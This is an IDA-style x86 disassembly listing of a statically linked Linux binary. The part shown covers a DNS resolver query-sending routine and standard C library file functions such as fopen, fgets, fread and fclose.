loc_804EE8D:				; CODE XREF: sub_804EA0C+47Bj
		push	ebx
		lea	eax, [ebp+var_21C]
		push	eax
		mov	eax, dword_8078530
		push	eax
		call	read
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jle	loc_804F358
		mov	ax, [ebp+var_1A]
		sub	ax, bx
		mov	[ebp+var_1A], ax
		jnz	short loc_804EE7C
		jmp	loc_804F358
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804EEC0:				; CODE XREF: sub_804EA0C+1A7j
		cmp	dword_8078530, 0
		jl	short loc_804EED2
		cmp	dword_8078538, 0
		jz	short loc_804EF05

loc_804EED2:				; CODE XREF: sub_804EA0C+4BBj
		cmp	dword_8078538, 0
		jz	short loc_804EEE0
		call	sub_804F4F8

loc_804EEE0:				; CODE XREF: sub_804EA0C+4CDj
		push	0
		push	2
		push	2
		call	socket
		mov	dword_8078530, eax
		add	esp, 0Ch
		test	eax, eax
		jl	loc_804F4C4
		mov	dword_8078534, 0

loc_804EF05:				; CODE XREF: sub_804EA0C+4C4j
		cmp	dword_8078550, 1
		jz	short loc_804EF23
		cmp	[ebp+var_240], 0
		jnz	loc_804EFBC
		test	esi, esi
		jnz	loc_804EFBC

loc_804EF23:				; CODE XREF: sub_804EA0C+500j
		cmp	dword_8078534, 0
		jnz	short loc_804EF72
		push	10h
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, dword_8078530
		push	eax
		call	connect
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_804EF68
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		push	eax
		mov	eax, [edx+8]
		push	eax
		mov	eax, [edx+4]
		push	eax
		mov	eax, [edx]
		push	eax
		mov	eax, __errno
		push	eax
		push	offset aConnectDg ; "connect(dg)"
		jmp	loc_804F04C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804EF68:				; CODE XREF: sub_804EA0C+536j
		mov	dword_8078534, 1

loc_804EF72:				; CODE XREF: sub_804EA0C+51Ej
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, dword_8078530
		push	eax
		call	send
		add	esp, 10h
		cmp	[ebp+arg_4], eax
		jz	loc_804F074
		mov	eax, __errno
		push	eax
		push	offset aSend	; "send"
		push	offset unk_80787A4
		call	sub_804E694
		mov	eax, 1
		mov	ecx, esi
		shl	eax, cl
		or	[ebp+var_248], eax
		jmp	loc_804F19D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804EFBC:				; CODE XREF: sub_804EA0C+509j
					; sub_804EA0C+511j
		cmp	dword_8078534, 0
		jz	short loc_804F00C
		mov	[ebp+var_1EC], 2
		mov	[ebp+var_1E8], 0
		mov	[ebp+var_1EA], 0
		push	10h
		lea	eax, [ebp+var_1EC]
		push	eax
		mov	eax, dword_8078530
		push	eax
		call	connect
		mov	dword_8078534, 0
		mov	__errno, 0
		add	esp, 0Ch

loc_804F00C:				; CODE XREF: sub_804EA0C+5B7j
		push	10h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, dword_8078530
		push	eax
		call	sendto
		add	esp, 18h
		cmp	[ebp+arg_4], eax
		jz	short loc_804F074
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		push	eax
		mov	eax, [edx+8]
		push	eax
		mov	eax, [edx+4]
		push	eax
		mov	eax, [edx]
		push	eax
		mov	eax, __errno
		push	eax
		push	offset aSendto	; "sendto"

loc_804F04C:				; CODE XREF: sub_804EA0C+555j
		push	offset unk_80787A4
		call	sub_804E638
		mov	eax, 1
		mov	ecx, esi
		shl	eax, cl
		or	[ebp+var_248], eax

loc_804F065:				; CODE XREF: sub_804EA0C+26Aj
		call	sub_804F4F8
		add	esp, 1Ch
		jmp	loc_804F450
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F074:				; CODE XREF: sub_804EA0C+581j
					; sub_804EA0C+621j
		mov	edx, dword_8078544
		mov	ecx, [ebp+var_240]
		shl	edx, cl
		mov	[ebp+var_224], edx
		test	ecx, ecx
		jle	short loc_804F09B
		mov	eax, edx
		cdq
		idiv	dword_8078550
		mov	[ebp+var_224], eax

loc_804F09B:				; CODE XREF: sub_804EA0C+67Ej
		cmp	[ebp+var_224], 0
		jg	short loc_804F0AE
		mov	[ebp+var_224], 1

loc_804F0AE:				; CODE XREF: sub_804EA0C+696j
		mov	[ebp+var_220], 0

loc_804F0B8:				; CODE XREF: sub_804EA0C+6F3j
					; sub_804EA0C+7CEj ...
		lea	edx, [ebp+var_21C]
		xor	eax, eax
		mov	ecx, 8
		mov	edi, edx
		cld
		repe stosd
		mov	eax, dword_8078530
		bts	[ebp+var_21C], eax
		lea	ecx, [ebp+var_224]
		push	ecx
		push	0
		push	0
		push	edx
		mov	edi, dword_8078530
		inc	edi
		push	edi
		call	select
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jge	short loc_804F114
		cmp	__errno, 4
		jz	short loc_804F0B8
		mov	eax, __errno
		push	eax
		push	offset aSelect	; "select"
		jmp	loc_804F193
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F114:				; CODE XREF: sub_804EA0C+6EAj
		test	ebx, ebx
		jnz	short loc_804F144
		test	byte ptr dword_807854C,	2
		jz	short loc_804F133
		push	offset aTimeout	; ";; timeout\n"
		push	offset unk_8078750
		call	fprintf
		add	esp, 8

loc_804F133:				; CODE XREF: sub_804EA0C+713j
		mov	[ebp+var_234], 1
		jmp	loc_804EB0C	; case 0x1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F144:				; CODE XREF: sub_804EA0C+70Aj
		mov	__errno, 0
		mov	[ebp+var_228], 10h
		lea	eax, [ebp+var_228]
		push	eax
		lea	ecx, [ebp+var_1FC]
		push	ecx
		push	0
		mov	edi, [ebp+arg_C]
		push	edi
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, dword_8078530
		push	ecx
		call	recvfrom
		mov	edx, eax
		mov	[ebp+var_8], edx
		add	esp, 18h
		test	edx, edx
		jg	short loc_804F1AC
		mov	eax, __errno
		push	eax
		push	offset aRecvfrom ; "recvfrom"

loc_804F193:				; CODE XREF: sub_804EA0C+43Dj
					; sub_804EA0C+700j
		push	offset unk_80787A4
		call	sub_804E694

loc_804F19D:				; CODE XREF: sub_804EA0C+2E8j
					; sub_804EA0C+5ABj
		call	sub_804F4F8
		add	esp, 0Ch
		jmp	loc_804F450
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F1AC:				; CODE XREF: sub_804EA0C+77Aj
		mov	[ebp+var_234], 1
		mov	edi, [ebp+var_22C]
		mov	di, [edi]
		mov	eax, [ebp+var_230]
		cmp	[eax], di
		jz	short loc_804F204
		test	byte ptr dword_807854C,	2
		jnz	short loc_804F1E0
		test	byte ptr dword_80786A4+1, 20h
		jz	loc_804F0B8

loc_804F1E0:				; CODE XREF: sub_804EA0C+7C5j
		push	offset aOldAnswer ; ";;	old answer:\n"
		push	offset unk_8078750
		call	fprintf
		push	offset unk_8078750
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edi, [ebp+arg_8]
		push	edi
		jmp	loc_804F29F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F204:				; CODE XREF: sub_804EA0C+7BCj
		test	byte ptr dword_807854C+1, 4
		jnz	short loc_804F240
		lea	eax, [ebp+var_1FC]
		push	eax
		call	sub_804E6F8
		add	esp, 4
		test	eax, eax
		jnz	short loc_804F240
		test	byte ptr dword_807854C,	2
		jnz	short loc_804F236
		test	byte ptr dword_80786A4+1, 20h
		jz	loc_804F0B8

loc_804F236:				; CODE XREF: sub_804EA0C+81Bj
		push	offset aNotOurServer ; ";; not our server:\n"
		jmp	short loc_804F288
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F240:				; CODE XREF: sub_804EA0C+7FFj
					; sub_804EA0C+812j
		test	byte ptr dword_807854C+1, 8
		jnz	short loc_804F2AC
		mov	edi, [ebp+arg_8]
		add	edi, [ebp+arg_C]
		push	edi
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+arg_4]
		push	ecx
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_804E944
		mov	edx, eax
		add	esp, 10h
		test	edx, edx
		jnz	short loc_804F2AC
		test	byte ptr dword_807854C,	2
		jnz	short loc_804F283
		test	byte ptr dword_80786A4+1, 20h
		jz	loc_804F0B8

loc_804F283:				; CODE XREF: sub_804EA0C+868j
		push	offset aWrongQueryName ; ";; wrong query name:\n"

loc_804F288:				; CODE XREF: sub_804EA0C+82Fj
		push	offset unk_8078750
		call	fprintf
		push	offset unk_8078750
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx

loc_804F29F:				; CODE XREF: sub_804EA0C+7F0j
		call	sub_805F1DC
		add	esp, 14h
		jmp	loc_804F0B8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F2AC:				; CODE XREF: sub_804EA0C+83Bj
					; sub_804EA0C+85Fj
		mov	edi, [ebp+var_230]
		mov	dl, [edi+3]
		and	dl, 0Fh
		cmp	dl, 2
		jz	short loc_804F2C5
		mov	al, dl
		add	al, 0FCh
		cmp	al, 1
		ja	short loc_804F313

loc_804F2C5:				; CODE XREF: sub_804EA0C+8AFj
		test	byte ptr dword_807854C,	2
		jz	short loc_804F2F2
		push	offset aServerRejected ; "server rejected query:\n"
		push	offset unk_8078750
		call	fprintf
		push	offset unk_8078750
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_805F1DC
		add	esp, 14h

loc_804F2F2:				; CODE XREF: sub_804EA0C+8C0j
		mov	eax, 1
		mov	ecx, esi
		shl	eax, cl
		or	[ebp+var_248], eax
		call	sub_804F4F8
		cmp	dword_80786A4, 0
		jz	loc_804F450

loc_804F313:				; CODE XREF: sub_804EA0C+8B7j
		test	byte ptr dword_807854C,	20h
		jnz	short loc_804F358
		mov	edi, [ebp+var_230]
		test	byte ptr [edi+2], 2
		jz	short loc_804F358
		test	byte ptr dword_807854C,	2
		jz	short loc_804F343
		push	offset aTruncatedAnswe ; ";; truncated answer\n"
		push	offset unk_8078750
		call	fprintf
		add	esp, 8

loc_804F343:				; CODE XREF: sub_804EA0C+923j
		mov	[ebp+var_244], 1
		call	sub_804F4F8
		jmp	loc_804EB01
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804F358:				; CODE XREF: sub_804EA0C+44Bj
					; sub_804EA0C+467j ...
		test	byte ptr dword_807854C,	2
		jnz	short loc_804F372
		mov	eax, dword_80786A4
		and	eax, 2100h
		cmp	eax, 2100h
		jnz	short loc_804F384

loc_804F372:				; CODE XREF: sub_804EA0C+953j
		push	offset aGotAnswer ; ";;	got answer:\n"
		push	offset unk_8078750
		call	fprintf
		add	esp, 8

loc_804F384:				; CODE XREF: sub_804EA0C+964j
		test	byte ptr dword_807854C,	2
		jnz	short loc_804F396
		test	byte ptr dword_80786A4+1, 20h
		jz	short loc_804F3BA

loc_804F396:				; CODE XREF: sub_804EA0C+97Fj
		push	offset unk_8067EE3
		push	offset unk_8078750
		call	fprintf
		push	offset unk_8078750
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_805F1DC
		add	esp, 14h

loc_804F3BA:				; CODE XREF: sub_804EA0C+988j
		cmp	[ebp+var_244], 0
		jz	short loc_804F3D0
		test	byte ptr dword_807854C,	8
		jz	short loc_804F3D9
		test	esi, esi
		jnz	short loc_804F3D9

loc_804F3D0:				; CODE XREF: sub_804EA0C+9B5j
		test	byte ptr dword_807854C+1, 1
		jnz	short loc_804F3DE

loc_804F3D9:				; CODE XREF: sub_804EA0C+9BEj
					; sub_804EA0C+9C2j
		call	sub_804F4F8

loc_804F3DE:				; CODE XREF: sub_804EA0C+9CBj
		cmp	dword_8078540, 0
		jz	short loc_804F448 ; case 0x3
		xor	ebx, ebx
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804F3EC:				; CODE XREF: sub_804EA0C+A3Aj
		lea	edi, [ebp+var_8]
		push	edi
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edi, [ebp+arg_4]
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edi, dword_8078540
		call	edi
		mov	edx, eax
		add	esp, 18h
		cmp	edx, 4		; switch 5 cases 
		ja	loc_804F4E4	; default
		jmp	ds:off_804F424[edx*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
off_804F424	dd offset loc_804F448, offset loc_804EB0C, offset loc_804F438
					; DATA XREF: sub_804EA0C+A0Er
		dd offset loc_804F448, offset loc_804F4E4 ; jump table for switch statement
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F438:				; CODE XREF: sub_804EA0C+A0Ej
					; DATA XREF: sub_804EA0C+A18o
		inc	ebx		; case 0x2
		cmp	ebx, 29h
		jg	loc_804F4E4	; default
		xor	eax, eax
		test	eax, eax
		jz	short loc_804F3EC

loc_804F448:				; CODE XREF: sub_804EA0C+146j
					; sub_804EA0C+9D9j ...
		mov	eax, [ebp+var_8] ; case	0x3
		jmp	loc_804F4E9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F450:				; CODE XREF: sub_804EA0C+105j
					; sub_804EA0C+661j ...
		inc	esi
		cmp	dword_8078550, esi
		jg	loc_804EAF4

loc_804F45D:				; CODE XREF: sub_804EA0C+E0j
		inc	[ebp+var_240]
		mov	ecx, [ebp+var_240]
		cmp	dword_8078548, ecx
		jg	loc_804EAE4

loc_804F475:				; CODE XREF: sub_804EA0C+CFj
		call	sub_804F4F8
		cmp	[ebp+var_244], 0
		jnz	short loc_804F4D8
		cmp	[ebp+var_234], 0
		jnz	short loc_804F498
		mov	__errno, 6Fh
		jmp	short loc_804F4E4 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F498:				; CODE XREF: sub_804EA0C+A7Ej
		mov	__errno, 6Eh
		jmp	short loc_804F4E4 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F4A4:				; CODE XREF: sub_804EA0C+1FEj
		mov	edi, __errno
		mov	[ebp+var_23C], edi
		push	edi
		push	offset aSocketVc ; "socket(vc)"

loc_804F4B6:				; CODE XREF: sub_804EA0C+AC9j
		push	offset unk_80787A4
		call	sub_804E694
		jmp	short loc_804F4E4 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F4C4:				; CODE XREF: sub_804EA0C+4E9j
		mov	eax, __errno
		mov	[ebp+var_23C], eax
		push	eax
		push	offset aSocketDg ; "socket(dg)"
		jmp	short loc_804F4B6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804F4D8:				; CODE XREF: sub_804EA0C+A75j
		mov	ecx, [ebp+var_23C]
		mov	__errno, ecx

loc_804F4E4:				; CODE XREF: sub_804EA0C+2Fj
					; sub_804EA0C+140j ...
		mov	eax, 0FFFFFFFFh	; default

loc_804F4E9:				; CODE XREF: sub_804EA0C+A3Fj
		lea	esp, [ebp+var_264]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804EA0C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804F4F8	proc near		; CODE XREF: sub_804EA0C+100p
					; sub_804EA0C+1E1p ...
		push	ebp
		mov	ebp, esp
		cmp	dword_8078530, 0
		jl	short loc_804F52D
		mov	eax, dword_8078530
		push	eax
		call	close
		mov	dword_8078530, 0FFFFFFFFh
		mov	dword_8078534, 0
		mov	dword_8078538, 0

loc_804F52D:				; CODE XREF: sub_804F4F8+Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_804F4F8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804F534	proc near
		push	ebp
		mov	ebp, esp
		mov	eax, offset dword_8078544
		mov	esp, ebp
		pop	ebp
		retn
sub_804F534	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

fclose		proc near		; CODE XREF: main+5CCp
					; init_services_resolv+A56p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jz	short loc_804F55A
		mov	eax, [ebx]
		and	eax, 0FFFF0000h
		cmp	eax, 0FBAD0000h
		jz	short loc_804F56C

loc_804F55A:				; CODE XREF: fclose+Aj
		mov	__errno, 16h
		mov	eax, 0FFFFFFFFh
		jmp	short loc_804F5B8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804F56C:				; CODE XREF: fclose+18j
		test	byte ptr [ebx+1], 20h
		jz	short loc_804F580
		push	ebx
		call	sub_8060D44
		mov	esi, eax
		add	esp, 4
		jmp	short loc_804F58C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804F580:				; CODE XREF: fclose+30j
		xor	esi, esi
		test	byte ptr [ebx],	20h
		jz	short loc_804F58C
		mov	esi, 0FFFFFFFFh

loc_804F58C:				; CODE XREF: fclose+3Dj fclose+45j
		mov	eax, [ebx+50h]
		push	ebx
		mov	eax, [eax+0Ch]
		call	eax
		add	esp, 4
		cmp	ebx, offset unk_80786FC
		jz	short loc_804F5B6
		cmp	ebx, offset unk_8078750
		jz	short loc_804F5B6
		cmp	ebx, offset unk_80787A4
		jz	short loc_804F5B6
		push	ebx
		call	free

loc_804F5B6:				; CODE XREF: fclose+5Ej fclose+66j ...
		mov	eax, esi

loc_804F5B8:				; CODE XREF: fclose+29j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
fclose		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

fgets		proc near		; CODE XREF: init_services_resolv+97p
					; sub_804C5A4+4Cp ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jz	short loc_804F5E4
		mov	eax, [ebx]
		and	eax, 0FFFF0000h
		cmp	eax, 0FBAD0000h
		jz	short loc_804F5F4

loc_804F5E4:				; CODE XREF: fgets+10j
		mov	__errno, 16h

loc_804F5EE:				; CODE XREF: fgets+32j	fgets+45j ...
		xor	eax, eax
		jmp	short loc_804F616
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F5F4:				; CODE XREF: fgets+1Ej
		test	edx, edx
		jle	short loc_804F5EE
		push	1
		push	0Ah
		lea	eax, [edx-1]
		push	eax
		push	esi
		push	ebx
		call	sub_804F734
		test	eax, eax
		jz	short loc_804F5EE
		test	byte ptr [ebx],	20h
		jnz	short loc_804F5EE
		mov	byte ptr [eax+esi], 0
		mov	eax, esi

loc_804F616:				; CODE XREF: fgets+2Cj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
fgets		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

fopen		proc near		; CODE XREF: main+4ECp
					; init_services_resolv+4Ap ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		push	54h
		call	malloc
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_804F640
		xor	eax, eax
		jmp	short loc_804F676
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F640:				; CODE XREF: fopen+1Aj
		push	0
		push	ebx
		call	sub_8061F34
		mov	dword ptr [ebx+50h], offset unk_807902C
		push	ebx
		call	sub_8060D24
		push	esi
		push	edi
		push	ebx
		call	sub_8060E20
		add	esp, 18h
		test	eax, eax
		jnz	short loc_804F674
		push	ebx
		call	sub_8061788
		push	ebx
		call	free
		xor	eax, eax
		jmp	short loc_804F676
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F674:				; CODE XREF: fopen+42j
		mov	eax, ebx

loc_804F676:				; CODE XREF: fopen+1Ej	fopen+52j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
fopen		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

fprintf		proc near		; CODE XREF: init_services_resolv+2B7p
					; init_services_resolv+2DDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		test	edx, edx
		jnz	short loc_804F6A0
		mov	__errno, 16h
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F6A0:				; CODE XREF: fprintf+Bj
		mov	eax, [edx]
		and	eax, 0FFFF0000h
		cmp	eax, 0FBAD0000h
		jnz	short loc_804F6C0
		lea	eax, [ebp+arg_8]
		push	eax
		push	ecx
		push	edx
		call	vfprintf
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F6C0:				; CODE XREF: fprintf+2Cj
		mov	__errno, 16h
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
fprintf		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

fread		proc near		; CODE XREF: main+525p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		mov	edx, [ebp+arg_C]
		mov	ebx, esi
		imul	ebx, edi
		test	edx, edx
		jz	short loc_804F6FD
		mov	eax, [edx]
		and	eax, 0FFFF0000h
		cmp	eax, 0FBAD0000h
		jz	short loc_804F70C

loc_804F6FD:				; CODE XREF: fread+19j
		mov	__errno, 16h
		xor	eax, eax
		jmp	short loc_804F72A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804F70C:				; CODE XREF: fread+27j
		test	ebx, ebx
		jnz	short loc_804F714
		xor	eax, eax
		jmp	short loc_804F72A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F714:				; CODE XREF: fread+3Aj
		push	ebx
		push	ecx
		push	edx
		call	sub_8061D2C
		cmp	ebx, eax
		jz	short loc_804F728
		xor	edx, edx
		div	esi
		jmp	short loc_804F72A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F728:				; CODE XREF: fread+4Aj
		mov	eax, edi

loc_804F72A:				; CODE XREF: fread+35j	fread+3Ej ...
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
fread		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804F734	proc near		; CODE XREF: fgets+3Ep

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], edx
		lea	esi, [esi]

loc_804F748:				; CODE XREF: sub_804F734+A2j
		mov	ebx, [edi+8]
		sub	ebx, [edi+4]
		test	ebx, ebx
		jg	short loc_804F766
		push	edi
		call	sub_8061A70
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_804F7DC
		mov	ebx, [edi+8]
		sub	ebx, [edi+4]

loc_804F766:				; CODE XREF: sub_804F734+1Cj
		cmp	[ebp+arg_8], ebx
		ja	short loc_804F76E
		mov	ebx, [ebp+arg_8]

loc_804F76E:				; CODE XREF: sub_804F734+35j
		push	ebx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [edi+4]
		push	eax
		call	sub_80575C0
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jz	short loc_804F7BC
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+arg_4]
		mov	[ebp+var_8], edx
		mov	ebx, esi
		sub	ebx, [edi+4]
		cmp	[ebp+arg_10], 0
		jl	short loc_804F7A1
		inc	esi
		cmp	[ebp+arg_10], 0
		jle	short loc_804F7A1
		inc	ebx

loc_804F7A1:				; CODE XREF: sub_804F734+63j
					; sub_804F734+6Aj
		mov	eax, [edi+4]
		push	ebx
		push	eax
		mov	edx, [ebp+var_4]
		push	edx
		call	memcpy
		mov	[edi+4], esi
		mov	eax, [ebp+var_8]
		add	eax, ebx
		jmp	short loc_804F7E2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804F7BC:				; CODE XREF: sub_804F734+4Fj
		mov	eax, [edi+4]
		push	ebx
		push	eax
		mov	edx, [ebp+var_4]
		push	edx
		call	memcpy
		add	esp, 0Ch
		add	[edi+4], ebx
		add	[ebp+var_4], ebx
		sub	[ebp+arg_8], ebx
		jnz	loc_804F748

loc_804F7DC:				; CODE XREF: sub_804F734+2Aj
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]

loc_804F7E2:				; CODE XREF: sub_804F734+83j
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804F734	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

